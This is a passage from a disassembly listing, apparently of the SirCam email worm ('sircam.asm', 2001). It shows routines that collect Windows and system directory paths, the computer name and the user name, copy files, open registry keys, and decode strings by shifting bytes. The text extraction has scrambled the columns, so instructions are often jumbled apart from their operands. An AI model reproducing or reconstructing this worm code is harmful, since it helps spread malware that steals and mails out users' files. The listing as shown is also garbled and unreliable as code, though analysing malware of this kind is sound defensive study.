ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_415D6C: sub_415C9C ; CODE XREF: sub_415C9C+C8\030j ; DATA XREF: sub_415C9C+C3\030o pop ebp retn endp ; sp = -0Ch ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 byte_415D70 db 83h, 2Dh ; DATA XREF: CODE:0041A98C\031o dd offset dword_41E678 dd 0ED830F01h, 0E8000000h, 0FFFFFCDAh db 68h dd offset unk_41E690 dd 0FEFF18E8h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp fword ptr (unk_41EF24-41EF7Ch)[eax] ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ dd 0E80041E6h, 0FFFEFF0Eh, 17E8076Ah, 0A3FFFF00h dd offset dword_41E680 dd 0BE8056Ah, 0A3FFFF00h dd offset dword_41E684 dd 0FFE80D6Ah, 0A3FFFEFFh sircam.asm Fri Aug 10 12:42:44 2001 593 dd offset dword_41E688 dd 7F0068h, 0E8006A00h, 0FFFF0096h db 0A3h dd offset dword_41E68C dd 0FFFD08E8h, 2CB966FFh, 0A101B200h dd offset off_41370C dd 0FFD98CE8h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp ds:dword_41E6C0[ebx] ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ dd 10B966h db 0B2h, 1, 0A1h dd offset off_41370C dd 0FFD977E8h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp ds:dword_41E6C4[ebx] ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ dd 10B966h db 0B2h, 1, 0A1h dd offset off_41370C dd 0FFD962E8h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp ds:dword_41E6C8[ebx] ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 0B2h, 1, 0A1h dd offset off_415B4C dd 0FFFD8DE8h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp ds:dword_41E6D0[ebx] ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov dl, 1 mov eax, ds:off_40B920 call sub_40C358 mov ds:dword_41DA70, eax mov dl, 1 mov eax, ds:off_40B920 call sub_40C358 mov ds:dword_41E6CC, eax mov ecx, offset loc_413B4C mov edx, offset loc_413B5C mov eax, ds:off_4133A0 call sub_40C000 mov ecx, offset loc_413D20 mov edx, offset loc_413D30 mov eax, ds:off_41347C call sub_40C000 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_InternetGetConnectedState. PRESS KEYPAD "+" TO EX PAND] align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_415E74 proc near ; DATA XREF: CODE:0041A998\031o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_415E99 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_41E6D4 xor eax, eax pop edx pop ecx pop ecx sircam.asm Fri Aug 10 12:42:44 2001 mov push 594 fs:[eax], edx offset loc_415EA0 locret_415E98: ; CODE XREF: sub_415E74+2A\031j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_415E99: ; DATA XREF: sub_415E74+6\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short locret_415E98 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_415EA0: sub_415E74 ; CODE XREF: sub_415E74+24\030j ; DATA XREF: sub_415E74+1F\030o pop ebp retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_415EA4: sub retn ; DATA XREF: CODE:0041A994\031o ds:dword_41E6D4, 1 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_415EAC proc near var_10 var_C var_8 var_4 arg_0 arg_4 arg_8 = = = = = = = dword dword dword dword dword dword dword push mov add push push xor mov mov mov mov mov mov call mov call mov call xor push push push mov lea call mov mov call mov cmp ptr ptr ptr ptr ptr ptr ptr ; CODE XREF: sub_416478+94\031p ; sub_416C54+43\031p ... -10h -0Ch -8 -4 8 0Ch 10h ebp ebp, esp esp, 0FFFFFFF0h ebx esi ebx, ebx [ebp+var_10], ebx [ebp+var_C], ecx [ebp+var_8], edx [ebp+var_4], eax esi, [ebp+arg_4] eax, [ebp+var_4] sub_4038D8 eax, [ebp+var_8] sub_4038D8 eax, [ebp+var_C] sub_4038D8 eax, eax ebp offset loc_415F9C dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_10] sub_4034C8 dl, 1 eax, ds:off_40E5C4 sub_40E6C4 ebx, eax esi, 1 sircam.asm Fri Aug 10 12:42:44 2001 595 jnz short loc_415F14 mov edx, 80000002h mov eax, ebx call sub_40E764 jmp short loc_415F33 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_415F14: ; CODE XREF: sub_415EAC+58\030j cmp esi, 2 jnz short loc_415F27 mov edx, 80000000h mov eax, ebx call sub_40E764 jmp short loc_415F33 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_415F27: ; CODE XREF: sub_415EAC+6B\030j mov mov call edx, 80000001h eax, ebx sub_40E764 loc_415F33: ; CODE XREF: sub_415EAC+66\030j ; sub_415EAC+79\030j mov mov mov call mov mov call test jz lea mov mov call cl, 1 edx, [ebp+var_4] eax, ebx sub_40E7C8 edx, [ebp+var_8] eax, ebx sub_40EAE4 al, al short loc_415F5A ecx, [ebp+var_10] edx, [ebp+var_8] eax, ebx sub_40E990 cmp jnz mov mov mov call [ebp+arg_8], 1 short loc_415F6D ecx, [ebp+var_C] edx, [ebp+var_8] eax, ebx sub_40E964 mov mov mov call mov mov call xor pop pop pop mov push ; CODE XREF: sub_415EAC+B2\030j dl, 1 eax, ebx ecx, [eax] dword ptr [ecx-4] eax, [ebp+arg_0] edx, [ebp+var_10] sub_40351C eax, eax edx ecx ecx fs:[eax], edx offset loc_415FA3 loc_415F5A: ; CODE XREF: sub_415EAC+9F\030j loc_415F6D: loc_415F8E: sub_415EAC ; CODE XREF: CODE:00415FA1\031j lea eax, [ebp+var_10] mov edx, 4 call sub_4034EC retn endp ; sp = -20h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_415F9C: ; DATA XREF: sub_415EAC+34\030o sircam.asm Fri Aug 10 12:42:44 2001 596 jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_415F8E ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_415FA3: ; DATA XREF: sub_415EAC+DD\030o pop esi pop ebx mov esp, ebp pop ebp retn 0Ch ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_415FAC proc near var_1C var_18 var_14 var_10 var_C var_8 var_4 = = = = = = = dword dword dword dword dword dword dword ptr ptr ptr ptr ptr ptr ptr ; CODE XREF: sub_416478+18B\031p ; sub_416C54+17B\031p ... -1Ch -18h -14h -10h -0Ch -8 -4 push mov add push push push xor mov mov mov mov mov mov mov call xor push push push mov lea call mov mov call mov mov test jle mov ebp ebp, esp esp, 0FFFFFFE4h ebx esi edi ebx, ebx [ebp+var_1C], ebx [ebp+var_18], ebx [ebp+var_14], ebx [ebp+var_C], ecx [ebp+var_8], edx [ebp+var_4], eax eax, [ebp+var_4] sub_4038D8 eax, eax ebp offset loc_41608C dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_14] sub_4034C8 ebx, 6 eax, [ebp+var_4] sub_403724 [ebp+var_10], eax esi, [ebp+var_10] esi, esi short loc_41605E edi, 1 inc cmp jnz mov ebx ebx, 8 short loc_41600E ebx, 4 cmp jnz lea ; CODE XREF: sub_415FAC+5B\030j [ebp+var_8], 1 short loc_416038 eax, [ebp+var_18] loc_416003: ; CODE XREF: sub_415FAC+B0\031j loc_41600E: sircam.asm Fri Aug 10 12:42:44 2001 597 mov edx, [ebp+var_4] movzx edx, byte ptr [edx+edi-1] mov ecx, [ebp+var_10] add ecx, ebx add edx, ecx call sub_403670 mov edx, [ebp+var_18] lea eax, [ebp+var_14] call sub_40372C jmp short loc_41605A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_416038: lea mov movzx mov add sub call mov lea call ; CODE XREF: sub_415FAC+66\030j eax, [ebp+var_1C] edx, [ebp+var_4] edx, byte ptr [edx+edi-1] ecx, [ebp+var_10] ecx, ebx edx, ecx sub_403670 edx, [ebp+var_1C] eax, [ebp+var_14] sub_40372C inc dec jnz edi esi short loc_416003 mov mov call xor pop pop pop mov push ; CODE XREF: sub_415FAC+50\030j eax, [ebp+var_C] edx, [ebp+var_14] sub_40351C eax, eax edx ecx ecx fs:[eax], edx offset loc_416093 loc_41605A: ; CODE XREF: sub_415FAC+8A\030j loc_41605E: loc_416076: sub_415FAC ; CODE XREF: CODE:00416091\031j lea eax, [ebp+var_1C] mov edx, 3 call sub_4034EC lea eax, [ebp+var_4] call sub_4034C8 retn endp ; sp = -30h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41608C: ; DATA XREF: sub_415FAC+28\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_416076 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_416093: ; DATA XREF: sub_415FAC+C5\030o pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sircam.asm Fri Aug 10 12:42:44 2001 sub_41609C proc near var_C var_8 var_4 = dword ptr -0Ch = dword ptr -8 = dword ptr -4 598 ; CODE XREF: sub_416C54+A1\031p ; sub_4190CC+179\031p ... push ebp mov ebp, esp add esp, 0FFFFFFF4h push ebx mov [ebp+var_4], edx mov ebx, eax mov [ebp+var_C], 105h mov eax, [ebp+var_C] call sub_402598 mov [ebp+var_8], eax xor eax, eax push ebp push offset loc_41616A push dword ptr fs:[eax] mov fs:[eax], esp cmp ebx, 6 ; switch 7 cases ja short loc_416149 ; default jmp ds:off_4160D4[ebx*4] ; switch jump ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ off_4160D4 dd offset loc_416149 ; DATA XREF: sub_41609C+31\030r dd offset loc_4160F0 ; jump table for switch statement dd offset loc_4160FF dd offset loc_41610E dd offset loc_41611D dd offset loc_41612C dd offset loc_41613B ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4160F0: ; CODE XREF: sub_41609C+31\030j ; DATA XREF: sub_41609C+38\030o mov eax, [ebp+var_C] ; case 0x1 push eax mov eax, [ebp+var_8] push eax call j_GetWindowsDirectoryA jmp short loc_416149 ; default ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4160FF: ; CODE XREF: sub_41609C+31\030j ; DATA XREF: sub_41609C+38\030o mov eax, [ebp+var_C] ; case 0x2 push eax mov eax, [ebp+var_8] push eax call j_GetSystemDirectoryA jmp short loc_416149 ; default ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41610E: ; CODE XREF: sub_41609C+31\030j ; DATA XREF: sub_41609C+38\030o mov eax, [ebp+var_8] ; case 0x3 push eax mov eax, [ebp+var_C] push eax call j_GetCurrentDirectoryA jmp short loc_416149 ; default ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41611D: lea push ; CODE XREF: sub_41609C+31\030j ; DATA XREF: sub_41609C+38\030o eax, [ebp+var_C] ; case 0x4 eax sircam.asm Fri Aug 10 12:42:44 2001 599 mov eax, [ebp+var_8] push eax call j_GetComputerNameA jmp short loc_416149 ; default ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41612C: ; CODE XREF: sub_41609C+31\030j ; DATA XREF: sub_41609C+38\030o lea eax, [ebp+var_C] ; case 0x5 push eax mov eax, [ebp+var_8] push eax call j_GetUserNameA jmp short loc_416149 ; default ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41613B: mov push push call ; CODE XREF: sub_41609C+31\030j ; DATA XREF: sub_41609C+38\030o eax, [ebp+var_8] ; case 0x6 eax 104h j_GetTempPathA loc_416149: xor pop pop pop mov push ; CODE XREF: sub_41609C+2F\030j ; sub_41609C+31\030j ... ; default eax, eax edx ecx ecx fs:[eax], edx offset loc_416171 loc_416156: sub_41609C ; CODE XREF: CODE:0041616F\031j mov eax, [ebp+var_4] mov edx, [ebp+var_8] call sub_403680 mov eax, [ebp+var_8] call sub_4025B0 retn endp ; sp = -18h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41616A: ; DATA XREF: sub_41609C+21\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_416156 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_416171: ; DATA XREF: sub_41609C+B5\030o pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_416178 proc near var_9 var_8 var_4 = byte ptr -9 = dword ptr -8 = dword ptr -4 push mov ebp ebp, esp ; CODE XREF: sub_416C54+CD\031p ; sub_4184C4+145\031p ... sircam.asm Fri Aug 10 12:42:44 2001 add push mov mov mov mov call mov call xor push push push mov xor mov call test jnz push mov call push mov call push call cmp jz mov mov call esp, 0FFFFFFF4h ebx [ebp+var_9], cl [ebp+var_8], edx [ebp+var_4], eax eax, [ebp+var_4] sub_4038D8 eax, [ebp+var_8] sub_4038D8 eax, eax ebp offset loc_4161FD dword ptr fs:[eax] fs:[eax], esp ebx, ebx eax, [ebp+var_8] sub_4071A8 al, al short loc_4161E2 0 eax, [ebp+var_8] sub_4038E8 eax eax, [ebp+var_4] sub_4038E8 eax j_CopyFileA [ebp+var_9], 0 short loc_4161E0 edx, 2 eax, [ebp+var_8] sub_4071B8 mov bl, 1 xor pop pop pop mov push ; CODE XREF: sub_416178+3A\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_416204 loc_4161E0: ; CODE XREF: sub_416178+59\030j loc_4161E2: loc_4161EF: sub_416178 600 ; CODE XREF: CODE:00416202\031j lea eax, [ebp+var_8] mov edx, 2 call sub_4034EC retn endp ; sp = -18h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4161FD: ; DATA XREF: sub_416178+23\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_4161EF ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_416204: ; DATA XREF: sub_416178+72\030o mov eax, ebx pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sircam.asm Fri Aug 10 12:42:44 2001 601 ; Attributes: bp-based frame sub_41620C proc near var_18 var_14 var_10 var_C var_8 var_4 = = = = = = ; CODE XREF: sub_416C54+16B\031p ; sub_417C88+97\031p ... byte ptr -18h byte ptr -14h byte ptr -10h byte ptr -0Ch dword ptr -8 dword ptr -4 push mov add push push xor mov mov mov mov call xor push push push mov mov call mov lea mov mov mov mov lea lea call lea mov mov mov mov lea lea mov call lea lea call lea mov mov mov mov lea lea mov call lea lea call mov mov call xor pop pop pop ebp ebp, esp esp, 0FFFFFFE8h ebx esi ecx, ecx [ebp+var_8], ecx esi, edx [ebp+var_4], eax eax, [ebp+var_4] sub_4038D8 eax, eax ebp offset loc_4162CE dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_4] sub_403724 ebx, eax eax, [ebp+var_C] edx, [ebp+var_4] dl, [edx+ebx-3] [eax+1], dl byte ptr [eax], 1 edx, [ebp+var_C] eax, [ebp+var_10] sub_402848 eax, [ebp+var_14] edx, [ebp+var_4] dl, [edx+ebx-2] [eax+1], dl byte ptr [eax], 1 edx, [ebp+var_14] eax, [ebp+var_10] cl, 2 sub_402818 edx, [ebp+var_10] eax, [ebp+var_18] sub_402848 eax, [ebp+var_14] edx, [ebp+var_4] dl, [edx+ebx-1] [eax+1], dl byte ptr [eax], 1 edx, [ebp+var_14] eax, [ebp+var_18] cl, 3 sub_402818 edx, [ebp+var_18] eax, [ebp+var_8] sub_4036EC eax, [ebp+var_8] edx, esi sub_406D90 eax, eax edx ecx ecx sircam.asm Fri Aug 10 12:42:44 2001 mov push fs:[eax], edx offset loc_4162D5 loc_4162C0: sub_41620C 602 ; CODE XREF: CODE:004162D3\031j lea eax, [ebp+var_8] mov edx, 2 call sub_4034EC retn endp ; sp = -28h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4162CE: ; DATA XREF: sub_41620C+1D\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_4162C0 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4162D5: ; DATA XREF: sub_41620C+AF\030o pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; 